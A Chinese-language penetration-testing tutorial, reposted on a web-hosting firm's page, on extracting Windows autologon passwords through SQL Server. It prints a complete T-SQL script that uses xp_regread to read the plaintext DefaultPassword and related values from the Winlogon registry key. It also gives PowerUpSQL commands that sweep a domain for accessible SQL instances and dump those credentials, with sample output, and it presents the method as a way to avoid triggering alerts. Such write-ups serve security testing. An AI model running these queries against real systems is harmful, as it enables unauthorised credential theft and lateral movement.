通过SQL Server与PowerUpSQL获取Windows自动登录密码

前言

目前创新互联已为上1000家的企业提供了网站建设、域名、雅安服务器托管绵阳服务器托管、企业网站设计、古蔺网站维护等服务,公司将坚持客户导向、应用为本的策略,正道将秉承"和谐、参与、激情"的文化,与客户和合作伙伴齐心协力一起成长,共同发展。

在本文中,我将演示如何使用PowerUpSQL通过SQL Server转储Windows自动登录密码。 我还将谈一下例如xp_regread等其他方式存储过程在渗透测试中利用方法。

xp_regread的简短历史

自SQL Server 2000以来,xp_regread扩展存储过程一直存在。自从SQL Server 2000允许Public角色的成员访问SQL Server服务帐户中任何有权限的东西。 当时,它有一个非常大的影响,因为常见的SQL Server作为LocalSystem运行。

自从SQL Server 2000 SP4发布以来,xp_regread的影响已经相当小,由于添加了一些访问控制,防止低特权登录的用户去访问注册表敏感的位置。 现在,无权限用户只可访问与SQL Server相关的注册表位置。 有关这些的列表,请访问https://support.microsoft.com/en-us/kb/887165

以下是一些更有趣的访问路径:

 
 
 
  1. HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Microsoft SQL Server \  
  2. HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ MSSQLServer  
  3. HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Search  
  4. HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ SQLServer  
  5. HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows消息子系统  
  6. HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ EventLog \ Application \ SQLServer  
  7. HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ SNMP \ Parameters \ ExtensionAgents  
  8. HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ SQLServer  
  9. HKEY_CURRENT_USER \ Software \ Microsoft \ Mail HKEY_CURRENT_USER \ Control Panel \ International 

具有 Public权限的xp_regread的实际用途

xp_regread可以用来获取很多有用的信息。 事实上,当作为最低权限登录时,我们可以使用它来获取无法在通过其他方式而获得的服务器信息。 例如,PowerUpSQL中的Get-SQLServerInfo函数可以得到一些信息。

 
 
 
  1. PS C:\> Get-SQLServerInfo 
  2. ComputerName           : SQLServer1 
  3. Instance               : SQLServer1 
  4. DomainName             : demo.local 
  5. ServiceName            : MSSQLSERVER 
  6. ServiceAccount         : NT Service\MSSQLSERVER 
  7. AuthenticationMode     : Windows and SQL Server Authentication 
  8. Clustered              : No 
  9. SQLServerVersionNumber : 12.0.4213.0 
  10. SQLServerMajorVersion  : 2014 
  11. SQLServerEdition       : Developer Edition (64-bit) 
  12. SQLServerServicePack   : SP1 
  13. OSArchitecture         : X64 
  14. OsMachineType          : WinNT 
  15. OSVersionName          : Windows 8.1 Pro 
  16. OsVersionNumber        : 6.3 
  17. Currentlogin           : demo\user 
  18. IsSysadmin             : Yes 
  19. ActiveSessions         : 3 

在SQL Server SP4中实现的访问控制限制不适用于sysadmins。 因此,SQL Server服务帐户可以在注册表中访问的任何内容,sysadmin可以通过xp_regread访问。

乍一看,这可能不是一个大问题,但它确实允许我们从注册表中提取敏感数据,而无需启用xp_cmdshell,当xp_cmdshell启用和使用时可能会触发大量警报。

使用xp_regread恢复Windows自动登录凭据

可以将Windows配置为在计算机启动时自动登录。 虽然这不是企业环境中的常见配置,但这是我们在其他环境中经常看到的。 特别是那些支持传统POS终端和Kiosk与本地运行SQL Server的。 在大多数情况下,当Windows配置为自动登录时,未加密的凭据存储在注册表项中:

 
 
 
  1. HKEY_LOCAL_MACHINE SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 

利用该信息,我们可以编写一个基本的TSQL脚本,该脚本使用xp_regread将自动登录凭据从我们的注册表中提取出来,而无需启用xp_cmdshell。 下面是一个TSQL脚本示例,但由于注册表路径不在允许的列表中,我们必须将查询作为sysadmin运行:

 
 
 
  1. ------------------------------------------------------------------------- 
  2. -- Get Windows Auto Login Credentials from the Registry 
  3. ------------------------------------------------------------------------- 
  4. -- Get AutoLogin Default Domain 
  5. DECLARE @AutoLoginDomain  SYSNAME 
  6. EXECUTE master.dbo.xp_regread 
  7. @rootkey        = N'HKEY_LOCAL_MACHINE', 
  8. @key            = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', 
  9. @value_name     = N'DefaultDomainName', 
  10. @value          = @AutoLoginDomain output 
  11. -- Get AutoLogin DefaultUsername 
  12. DECLARE @AutoLoginUser  SYSNAME 
  13. EXECUTE master.dbo.xp_regread 
  14. @rootkey        = N'HKEY_LOCAL_MACHINE', 
  15. @key            = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', 
  16. @value_name     = N'DefaultUserName', 
  17. @value          = @AutoLoginUser output 
  18. -- Get AutoLogin DefaultUsername 
  19. DECLARE @AutoLoginPassword  SYSNAME 
  20. EXECUTE master.dbo.xp_regread 
  21. @rootkey        = N'HKEY_LOCAL_MACHINE', 
  22. @key            = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', 
  23. @value_name     = N'DefaultPassword', 
  24. @value          = @AutoLoginPassword output  
  25. -- Display Results 
  26. SELECT @AutoLoginDomain, @AutoLoginUser, @AutoLoginPassword 

我还创建了一个名为“Get-SQLRecoverPwAutoLogon”的PowerUpSQL函数,所以你可以直接运行它。 它将获取到默认Windows自动登录信息和备用Windows自动登录信息(如果已设置)。 然后它返回相关的域名,用户名和密码。

下面是命令示例。

 
 
 
  1. PS C:\> $Accessible = Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose -Threads 15| Where-Object {$_.Status –eq “Accessible”} 
  2. PS C:\> $Accessible | Get-SQLRecoverPwAutoLogon -Verbose 
  3. VERBOSE: SQLServer1.demo.local\Instance1 : Connection Success. 
  4. VERBOSE: SQLServer2.demo.local\Application : Connection Success. 
  5. VERBOSE: SQLServer2.demo.local\Application : This function requires sysadmin privileges. Done. 
  6. VERBOSE: SQLServer3.demo.local\2014 : Connection Success. 
  7. VERBOSE: SQLServer3.demo.local\2014 : This function requires sysadmin privileges. Done. 
  8. ComputerName : SQLServer1 
  9. Instance     : SQLServer1\Instance1 
  10. Domain       : demo.local 
  11. UserName     : KioskAdmin 
  12. Password     : test 
  13. ComputerName : SQLServer1 
  14. Instance     : SQLServer1\Instance1 
  15. Domain       : demo.local 
  16. UserName     : kioskuser 
  17. Password     : KioskUserPassword! 

结尾

即使xp_regread扩展存储过程已被部分关闭,不过仍然有很多方法,可以证明在渗透测试期间十分有用。 希望你会与“Get-SQLServerInfo”,“Get-SQLRecoverPwAutoLogon”函数有更多乐趣。

当前名称:通过SQL Server与PowerUpSQL获取Windows自动登录密码
URL分享:http://www.shufengxianlan.com/qtweb/news21/99421.html

网站建设、网络推广公司-创新互联,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等

广告

声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联